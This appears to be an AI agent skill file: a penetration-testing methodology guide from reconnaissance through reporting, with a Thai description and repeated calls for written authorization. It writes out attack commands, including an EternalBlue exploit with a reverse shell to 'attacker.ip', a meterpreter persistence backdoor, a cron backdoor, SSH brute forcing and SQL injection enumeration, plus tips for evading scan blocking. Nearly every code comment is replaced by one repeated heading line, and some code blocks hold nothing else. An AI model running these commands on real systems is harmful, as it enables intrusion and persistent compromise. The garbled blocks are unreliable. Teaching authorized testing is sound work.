---
name: Ethical Hacking Methodology
description: "สกิลสำหรับ Ethical Hacking Methodology ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# สกิล: Ethical Hacking Methodology

## Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

## Prerequisites

### Required Environment
- Kali Linux installed (persistent or live)
- Network access to authorized targets
- Written authorization from system owner

### Required Knowledge
- Basic networking concepts
- Linux command-line proficiency
- Understanding of web technologies
- Familiarity with security concepts

## Outputs and Deliverables

1. **Reconnaissance Report** - Target information gathered
2. **Vulnerability Assessment** - Identified weaknesses
3. **Exploitation Evidence** - Proof of concept attacks
4. **Final Report** - Executive and technical findings

## Core Workflow

### Phase 1: Understanding Hacker Types

Classification of security professionals:

**White Hat Hackers (Ethical Hackers)**
- Authorized security professionals
- Conduct penetration testing with permission
- Goal: Identify and fix vulnerabilities
- Also known as: penetration testers, security consultants

**Black Hat Hackers (Malicious)**
- Unauthorized system intrusions
- Motivated by profit, revenge, or notoriety
- Goal: Steal data, cause damage
- Also known as: crackers, criminal hackers

**Grey Hat Hackers (Hybrid)**
- May cross ethical boundaries
- Not malicious but may break rules
- Often disclose vulnerabilities publicly
- Mixed motivations

**Other Classifications**
- **Script Kiddies**: Use pre-made tools without understanding
- **Hacktivists**: Politically or socially motivated
- **Nation State**: Government-sponsored operatives
- **Coders**: Develop tools and exploits

### Phase 2: Reconnaissance

Gather information without direct system interaction:

**Passive Reconnaissance**
```bash
# สกิล: Ethical Hacking Methodology
whois target.com

# สกิล: Ethical Hacking Methodology
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# สกิล: Ethical Hacking Methodology
dnsrecon -d target.com

# สกิล: Ethical Hacking Methodology
theHarvester -d target.com -b all
```

**Google Hacking (OSINT)**
```
# สกิล: Ethical Hacking Methodology
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# สกิล: Ethical Hacking Methodology
site:target.com inurl:login
site:target.com inurl:admin

# สกิล: Ethical Hacking Methodology
site:target.com intitle:"index of"

# สกิล: Ethical Hacking Methodology
site:target.com filetype:config
site:target.com filetype:env
```

**Google Hacking Database Categories:**
- Files containing passwords
- Sensitive directories
- Web server detection
- Vulnerable servers
- Error messages
- Login portals

**Social Media Reconnaissance**
- LinkedIn: Organizational charts, technologies used
- Twitter: Company announcements, employee info
- Facebook: Personal information, relationships
- Job postings: Technology stack revelations

### Phase 3: Scanning

Active enumeration of target systems:

**Host Discovery**
```bash
# สกิล: Ethical Hacking Methodology
nmap -sn 192.168.1.0/24

# สกิล: Ethical Hacking Methodology
arp-scan -l

# สกิล: Ethical Hacking Methodology
nmap -sP 192.168.1.0/24
```

**Port Scanning**
```bash
# สกิล: Ethical Hacking Methodology
nmap -sS target.com

# สกิล: Ethical Hacking Methodology
nmap -sT target.com

# สกิล: Ethical Hacking Methodology
nmap -sU target.com

# สกิล: Ethical Hacking Methodology
nmap -p- target.com

# สกิล: Ethical Hacking Methodology
nmap -sV target.com

# สกิล: Ethical Hacking Methodology
nmap -A target.com
```

**Service Enumeration**
```bash
# สกิล: Ethical Hacking Methodology
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# สกิล: Ethical Hacking Methodology
nmap --script=vuln target.com
```

**Common Port Reference**
| Port | Service | Notes |
|------|---------|-------|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | Email |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |

### Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

**Automated Scanning**
```bash
# สกิล: Ethical Hacking Methodology
nikto -h http://target.com

# สกิล: Ethical Hacking Methodology
omp -u admin -w password --xml="<get_tasks/>"

# สกิล: Ethical Hacking Methodology
nessuscli scan --target target.com
```

**Web Application Testing (OWASP)**
- SQL Injection
- Cross-Site Scripting (XSS)
- Broken Authentication
- Security Misconfiguration
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access Control
- Insecure Deserialization
- Using Components with Known Vulnerabilities
- Insufficient Logging & Monitoring

**Manual Techniques**
```bash
# สกิล: Ethical Hacking Methodology
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# สกิล: Ethical Hacking Methodology
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# สกิล: Ethical Hacking Methodology
whatweb target.com
```

### Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

**Metasploit Framework**
```bash
# สกิล: Ethical Hacking Methodology
msfconsole

# สกิล: Ethical Hacking Methodology
msf> search type:exploit name:smb

# สกิล: Ethical Hacking Methodology
msf> use exploit/windows/smb/ms17_010_eternalblue

# สกิล: Ethical Hacking Methodology
msf> set RHOSTS target.com

# สกิล: Ethical Hacking Methodology
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# สกิล: Ethical Hacking Methodology
msf> exploit
```

**Password Attacks**
```bash
# สกิล: Ethical Hacking Methodology
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# สกิล: Ethical Hacking Methodology
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

**Web Exploitation**
```bash
# สกิล: Ethical Hacking Methodology
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# สกิล: Ethical Hacking Methodology
# สกิล: Ethical Hacking Methodology

# สกิล: Ethical Hacking Methodology
# สกิล: Ethical Hacking Methodology
# สกิล: Ethical Hacking Methodology
```

### Phase 6: Maintaining Access

Establish persistent access:

**Backdoors**
```bash
# สกิล: Ethical Hacking Methodology
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# สกิล: Ethical Hacking Methodology
# สกิล: Ethical Hacking Methodology

# สกิล: Ethical Hacking Methodology
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
```

**Privilege Escalation**
```bash
# สกิล: Ethical Hacking Methodology
linpeas.sh
linux-exploit-suggester.sh

# สกิล: Ethical Hacking Methodology
winpeas.exe
windows-exploit-suggester.py

# สกิล: Ethical Hacking Methodology
find / -perm -4000 2>/dev/null

# สกิล: Ethical Hacking Methodology
sudo -l
```

**Covering Tracks (Ethical Context)**
- Document all actions taken
- Maintain logs for reporting
- Avoid unnecessary system changes
- Clean up test files and backdoors

### Phase 7: Reporting

Document findings professionally:

**Report Structure**
1. **Executive Summary**
   - High-level findings
   - Business impact
   - Risk ratings
   - Remediation priorities

2. **Technical Findings**
   - Vulnerability details
   - Proof of concept
   - Screenshots/evidence
   - Affected systems

3. **Risk Ratings**
   - Critical: Immediate action required
   - High: Address within 24-48 hours
   - Medium: Address within 1 week
   - Low: Address within 1 month
   - Informational: Best practice recommendations

4. **Remediation Recommendations**
   - Specific fixes for each finding
   - Short-term mitigations
   - Long-term solutions
   - Resource requirements

5. **Appendices**
   - Detailed scan outputs
   - Tool configurations
   - Testing timeline
   - Scope and methodology

### Phase 8: Common Attack Types

**Phishing**
- Email-based credential theft
- Fake login pages
- Malicious attachments
- Social engineering component

**Malware Types**
- **Virus**: Self-replicating, needs host file
- **Worm**: Self-propagating across networks
- **Trojan**: Disguised as legitimate software
- **Ransomware**: Encrypts files for ransom
- **Rootkit**: Hidden system-level access
- **Spyware**: Monitors user activity

**Network Attacks**
- Man-in-the-Middle (MITM)
- ARP Spoofing
- DNS Poisoning
- DDoS (Distributed Denial of Service)

### Phase 9: Kali Linux Setup

Install penetration testing platform:

**Hard Disk Installation**
1. Download ISO from kali.org
2. Boot from installation media
3. Select "Graphical Install"
4. Configure language, location, keyboard
5. Set hostname and root password
6. Partition disk (Guided - use entire disk)
7. Install GRUB bootloader
8. Reboot and login

**Live USB (Persistent)**
```bash
# สกิล: Ethical Hacking Methodology
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress

# สกิล: Ethical Hacking Methodology
gparted /dev/sdb
# สกิล: Ethical Hacking Methodology

# สกิล: Ethical Hacking Methodology
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
```

### Phase 10: Ethical Guidelines

**Legal Requirements**
- Obtain written authorization
- Define scope clearly
- Document all testing activities
- Report all findings to client
- Maintain confidentiality

**Professional Conduct**
- Work ethically with integrity
- Respect privacy of data accessed
- Avoid unnecessary system damage
- Execute planned tests only
- Never use findings for personal gain

## Quick Reference

### Penetration Testing Lifecycle

| Stage | Purpose | Key Tools |
|-------|---------|-----------|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |

### Essential Commands

| Command | Purpose |
|---------|---------|
| `nmap -sV target` | Port and service scan |
| `nikto -h target` | Web vulnerability scan |
| `msfconsole` | Start Metasploit |
| `hydra -l user -P list ssh://target` | SSH brute force |
| `sqlmap -u "url?id=1" --dbs` | SQL injection |

## Constraints and Limitations

### Authorization Required
- Never test without written permission
- Stay within defined scope
- Report unauthorized access attempts

### Professional Standards
- Follow rules of engagement
- Maintain client confidentiality
- Document methodology used
- Provide actionable recommendations

## Troubleshooting

### Scans Blocked

**Solutions:**
1. Use slower scan rates
2. Try different scanning techniques
3. Use proxy or VPN
4. Fragment packets

### Exploits Failing

**Solutions:**
1. Verify target vulnerability exists
2. Check payload compatibility
3. Adjust exploit parameters
4. Try alternative exploits
